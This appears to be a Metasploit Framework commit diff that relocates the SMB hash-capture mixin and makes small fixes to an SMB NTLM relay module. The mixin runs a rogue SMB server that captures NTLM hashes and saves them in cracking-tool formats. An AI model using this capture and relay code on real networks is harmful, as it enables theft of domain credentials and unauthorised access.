Gracefully handle relay host timeout, fix typos, and move SMBHashCapture location
This commit is contained in:
parent
a0e1306251
commit
53772fa366
|
@ -36,10 +36,12 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
|||
)
|
||||
|
||||
if relayed_connection.nil?
|
||||
@relay_targets.on_relay_end(target, identity: session.metadata[:identity], is_success: false)
|
||||
@relay_targets.on_relay_end(session.metadata[:relay_target], identity: session.metadata[:identity], is_success: false)
|
||||
session.metadata[:relay_mode] = false
|
||||
else
|
||||
session.metadata[:relay_mode] = true
|
||||
end
|
||||
|
||||
session.metadata[:relay_mode] = true
|
||||
session.metadata[:relayed_connection] = relayed_connection
|
||||
session.state = :in_progress
|
||||
|
||||
|
|
|
@ -0,0 +1,191 @@
|
|||
###
|
||||
#
|
||||
# This mixin provides support for reporting captured SMB creds
|
||||
#
|
||||
###
|
||||
module Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
include ::Msf::Auxiliary::Report
|
||||
|
||||
def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
|
||||
if datastore['CHALLENGE']
|
||||
# Set challenge for all future server responses
|
||||
|
||||
chall = proc { [datastore['CHALLENGE']].pack('H*') }
|
||||
ntlm_provider.generate_server_challenge(&chall)
|
||||
end
|
||||
|
||||
if datastore['JOHNPWFILE']
|
||||
print_status("JTR hashes will be split into two files depending on the hash format.")
|
||||
print_status("#{build_jtr_file_name(JTR_NTLMV1)} for NTLMv1 hashes.")
|
||||
print_status("#{build_jtr_file_name(JTR_NTLMV2)} for NTLMv2 hashes.")
|
||||
print_line
|
||||
end
|
||||
|
||||
if datastore['CAINPWFILE']
|
||||
print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
|
||||
print_line
|
||||
end
|
||||
end
|
||||
|
||||
def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
|
||||
ntlm_message = ntlm_type3
|
||||
hash_type = nil
|
||||
|
||||
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
challenge = [ntlm_type2.challenge].pack('Q<')
|
||||
combined_hash = "#{user}::#{domain}"
|
||||
|
||||
case ntlm_message.ntlm_version
|
||||
when :ntlmv1
|
||||
hash_type = 'NTLMv1-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
|
||||
|
||||
combined_hash << ":#{client_hash}"
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
when :ntlmv2
|
||||
hash_type = 'NTLMv2-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
|
||||
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
combined_hash << ":#{client_hash}"
|
||||
end
|
||||
|
||||
return if hash_type.nil?
|
||||
|
||||
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
|
||||
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
|
||||
print_line "[SMB] #{hash_type} Client : #{address}"
|
||||
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
|
||||
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
|
||||
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
|
||||
print_line
|
||||
|
||||
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
|
||||
|
||||
if active_db?
|
||||
origin = create_credential_origin_service(
|
||||
{
|
||||
address: address,
|
||||
port: datastore['SRVPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
)
|
||||
|
||||
credential_options = {
|
||||
origin: origin,
|
||||
origin_type: :service,
|
||||
address: address,
|
||||
port: datastore['SRVPORT'],
|
||||
service_name: 'smb',
|
||||
username: user,
|
||||
server_challenge: challenge,
|
||||
client_hash: client_hash,
|
||||
# client_os_version: client_os_version,
|
||||
private_data: combined_hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id,
|
||||
}
|
||||
if domain.present?
|
||||
credential_options[:domain] = domain
|
||||
credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
credential_options[:realm_value] = domain
|
||||
end
|
||||
|
||||
# TODO: Re-implement when +client_os_version+ can be determined.
|
||||
# found_host = framework.db.hosts.find_by(address: address)
|
||||
# found_host.os_name = credential_options[:client_os_version]
|
||||
# found_host.save!
|
||||
|
||||
create_credential(credential_options)
|
||||
end
|
||||
|
||||
if datastore['JOHNPWFILE']
|
||||
path = build_jtr_file_name(jtr_format)
|
||||
|
||||
File.open(path, 'ab') do |f|
|
||||
f.puts(combined_hash)
|
||||
end
|
||||
end
|
||||
|
||||
# Cain & Abel doesn't support import of NTLMv2 hashes
|
||||
if datastore['CAINPWFILE'] && jtr_format == JTR_NTLMV1
|
||||
# Cain&Abel hash format
|
||||
# Username:Domain:Challenge:LMHash:NTLMHash
|
||||
File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
|
||||
f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def build_jtr_file_name(jtr_format)
|
||||
# JTR NTLM hash format NTLMv1
|
||||
# Username::Domain:LMHash:NTHash:Challenge
|
||||
#
|
||||
# JTR NTLM hash format NTLMv2
|
||||
# Username::Domain:Challenge:NTHash[0...16]:NTHash[16...-1]
|
||||
|
||||
path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)
|
||||
|
||||
# if the passed file name does not contain an extension
|
||||
if File.extname(File.basename(path)).empty?
|
||||
path += "_#{jtr_format}"
|
||||
else
|
||||
path_parts = path.split('.')
|
||||
|
||||
# inserts _jtr_format between the last extension and the rest of the path
|
||||
path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
|
||||
end
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
def bin_to_hex(str)
|
||||
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
end
|
||||
|
||||
class HashCaptureNTLMProvider < ::RubySMB::Gss::Provider::NTLM
|
||||
def initialize(allow_anonymous: false, default_domain: 'WORKGROUP', listener: nil)
|
||||
super(allow_anonymous: allow_anonymous, default_domain: default_domain)
|
||||
@listener = listener
|
||||
end
|
||||
|
||||
# Needs overwritten to ensure our version of Authenticator is returned
|
||||
def new_authenticator(server_client)
|
||||
# build and return an instance that can process and track stateful information for a particular connection but
|
||||
# that's backed by this particular provider
|
||||
HashCaptureAuthenticator.new(self, server_client)
|
||||
end
|
||||
|
||||
attr_reader :listener
|
||||
end
|
||||
|
||||
class HashCaptureAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator
|
||||
def process_ntlm_type1(type1_msg)
|
||||
@ntlm_type1 = type1_msg
|
||||
@ntlm_type2 = super
|
||||
|
||||
@ntlm_type2
|
||||
end
|
||||
|
||||
def process_ntlm_type3(type3_msg)
|
||||
_, address = ::Socket.unpack_sockaddr_in(@server_client.getpeername)
|
||||
|
||||
if @provider.listener
|
||||
@provider.listener.on_ntlm_type3(
|
||||
address: address,
|
||||
ntlm_type1: @ntlm_type1,
|
||||
ntlm_type2: @ntlm_type2,
|
||||
ntlm_type3: type3_msg,
|
||||
)
|
||||
end
|
||||
|
||||
::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,196 +0,0 @@
|
|||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides support for reporting captured SMB creds
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::SMBHashCapture
|
||||
|
||||
include ::Msf::Auxiliary::Report
|
||||
|
||||
def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
|
||||
if datastore['CHALLENGE']
|
||||
# Set challenge for all future server responses
|
||||
|
||||
chall = proc { [datastore['CHALLENGE']].pack('H*') }
|
||||
ntlm_provider.generate_server_challenge(&chall)
|
||||
end
|
||||
|
||||
if datastore['JOHNPWFILE']
|
||||
print_status("JTR hashes will be split into two files depending on the hash format.")
|
||||
print_status("#{build_jtr_file_name(JTR_NTLMV1)} for NTLMv1 hashes.")
|
||||
print_status("#{build_jtr_file_name(JTR_NTLMV2)} for NTLMv2 hashes.")
|
||||
print_line
|
||||
end
|
||||
|
||||
if datastore['CAINPWFILE']
|
||||
print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
|
||||
print_line
|
||||
end
|
||||
end
|
||||
|
||||
def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
|
||||
ntlm_message = ntlm_type3
|
||||
hash_type = nil
|
||||
|
||||
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
challenge = [ntlm_type2.challenge].pack('Q<')
|
||||
combined_hash = "#{user}::#{domain}"
|
||||
|
||||
case ntlm_message.ntlm_version
|
||||
when :ntlmv1
|
||||
hash_type = 'NTLMv1-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
|
||||
|
||||
combined_hash << ":#{client_hash}"
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
when :ntlmv2
|
||||
hash_type = 'NTLMv2-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
|
||||
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
combined_hash << ":#{client_hash}"
|
||||
end
|
||||
|
||||
return if hash_type.nil?
|
||||
|
||||
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
|
||||
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
|
||||
print_line "[SMB] #{hash_type} Client : #{address}"
|
||||
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
|
||||
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
|
||||
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
|
||||
print_line
|
||||
|
||||
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
|
||||
|
||||
if active_db?
|
||||
origin = create_credential_origin_service(
|
||||
{
|
||||
address: address,
|
||||
port: datastore['SRVPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
)
|
||||
|
||||
credential_options = {
|
||||
origin: origin,
|
||||
origin_type: :service,
|
||||
address: address,
|
||||
port: datastore['SRVPORT'],
|
||||
service_name: 'smb',
|
||||
username: user,
|
||||
server_challenge: challenge,
|
||||
client_hash: client_hash,
|
||||
# client_os_version: client_os_version,
|
||||
private_data: combined_hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id,
|
||||
}
|
||||
if domain.present?
|
||||
credential_options[:domain] = domain
|
||||
credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
credential_options[:realm_value] = domain
|
||||
end
|
||||
|
||||
# TODO: Re-implement when +client_os_version+ can be determined.
|
||||
# found_host = framework.db.hosts.find_by(address: address)
|
||||
# found_host.os_name = credential_options[:client_os_version]
|
||||
# found_host.save!
|
||||
|
||||
create_credential(credential_options)
|
||||
end
|
||||
|
||||
if datastore['JOHNPWFILE']
|
||||
path = build_jtr_file_name(jtr_format)
|
||||
|
||||
File.open(path, 'ab') do |f|
|
||||
f.puts(combined_hash)
|
||||
end
|
||||
end
|
||||
|
||||
# Cain & Abel doesn't support import of NTLMv2 hashes
|
||||
if datastore['CAINPWFILE'] && jtr_format == JTR_NTLMV1
|
||||
# Cain&Abel hash format
|
||||
# Username:Domain:Challenge:LMHash:NTLMHash
|
||||
File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
|
||||
f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def build_jtr_file_name(jtr_format)
|
||||
# JTR NTLM hash format NTLMv1
|
||||
# Username::Domain:LMHash:NTHash:Challenge
|
||||
#
|
||||
# JTR NTLM hash format NTLMv2
|
||||
# Username::Domain:Challenge:NTHash[0...16]:NTHash[16...-1]
|
||||
|
||||
path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)
|
||||
|
||||
# if the passed file name does not contain an extension
|
||||
if File.extname(File.basename(path)).empty?
|
||||
path += "_#{jtr_format}"
|
||||
else
|
||||
path_parts = path.split('.')
|
||||
|
||||
# inserts _jtr_format between the last extension and the rest of the path
|
||||
path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
|
||||
end
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
def bin_to_hex(str)
|
||||
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
end
|
||||
|
||||
class HashCaptureNTLMProvider < RubySMB::Gss::Provider::NTLM
|
||||
def initialize(allow_anonymous: false, default_domain: 'WORKGROUP', listener: nil)
|
||||
super(allow_anonymous: allow_anonymous, default_domain: default_domain)
|
||||
@listener = listener
|
||||
end
|
||||
|
||||
# Needs overwritten to ensure our version of Authenticator is returned
|
||||
def new_authenticator(server_client)
|
||||
# build and return an instance that can process and track stateful information for a particular connection but
|
||||
# that's backed by this particular provider
|
||||
HashCaptureAuthenticator.new(self, server_client)
|
||||
end
|
||||
|
||||
attr_reader :listener
|
||||
end
|
||||
|
||||
class HashCaptureAuthenticator < RubySMB::Gss::Provider::NTLM::Authenticator
|
||||
def process_ntlm_type1(type1_msg)
|
||||
@ntlm_type1 = type1_msg
|
||||
@ntlm_type2 = super
|
||||
|
||||
@ntlm_type2
|
||||
end
|
||||
|
||||
def process_ntlm_type3(type3_msg)
|
||||
_, address = ::Socket.unpack_sockaddr_in(@server_client.getpeername)
|
||||
|
||||
if @provider.listener
|
||||
@provider.listener.on_ntlm_type3(
|
||||
address: address,
|
||||
ntlm_type1: @ntlm_type1,
|
||||
ntlm_type2: @ntlm_type2,
|
||||
ntlm_type3: type3_msg,
|
||||
)
|
||||
end
|
||||
|
||||
::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -329,4 +329,6 @@ end
|
|||
# global autoload of common gems
|
||||
autoload :Faker, 'faker'
|
||||
autoload :BinData, 'bindata'
|
||||
autoload :RubySMB, 'ruby_smb'
|
||||
|
||||
require 'rexml/document'
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'ruby_smb/gss/provider/ntlm'
|
|||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include ::Msf::Exploit::SMBHashCapture
|
||||
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
def initialize
|
||||
super({
|
||||
|
@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('JOHNPWFILE', [ false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil ]),
|
||||
OptString.new('CHALLENGE', [ false, 'The 8 byte server challenge. Set values must be a valid 16 character hexadecimal pattern. If unset a valid random challenge is used.' ], regex: /^([a-fA-F0-9]{16})$/),
|
||||
OptString.new('SMBDomain', [ true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
|
||||
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.']),
|
||||
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]),
|
||||
OptInt.new('TIMEOUT', [ true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 5])
|
||||
]
|
||||
|
@ -109,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def cleanup
|
||||
begin
|
||||
@rsock.close if @rsock
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
elog('Failed closing SMB server socket', error: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
include ::Msf::Exploit::Remote::SocketServer
|
||||
|
||||
include ::Msf::Exploit::SMBHashCapture
|
||||
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
include ::Msf::Exploit::Remote::SMB::Client::Psexec
|
||||
include ::Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
|
@ -118,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),
|
||||
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
|
||||
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.']),
|
||||
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
|
||||
OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),
|
||||
OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),
|
||||
|
@ -258,7 +258,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def start
|
||||
@listener_sock = Rex::Socket::TcpServer.create(sock_options)
|
||||
@listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))
|
||||
@listener_thread = Rex::ThreadFactory.spawn('UDPLDAPServerListener', false) do
|
||||
@listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do
|
||||
@listener_server.run
|
||||
rescue StandardError => e
|
||||
elog(e)
|
||||
|
@ -270,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@listener_server.close if @server && !@server.closed?
|
||||
@listener_thread.kill if @listener_thread
|
||||
rescue StandardError => e
|
||||
print_error('Failed closing SMV server')
|
||||
print_error('Failed closing SMB server')
|
||||
elog('Failed closing SMB server', error: e)
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue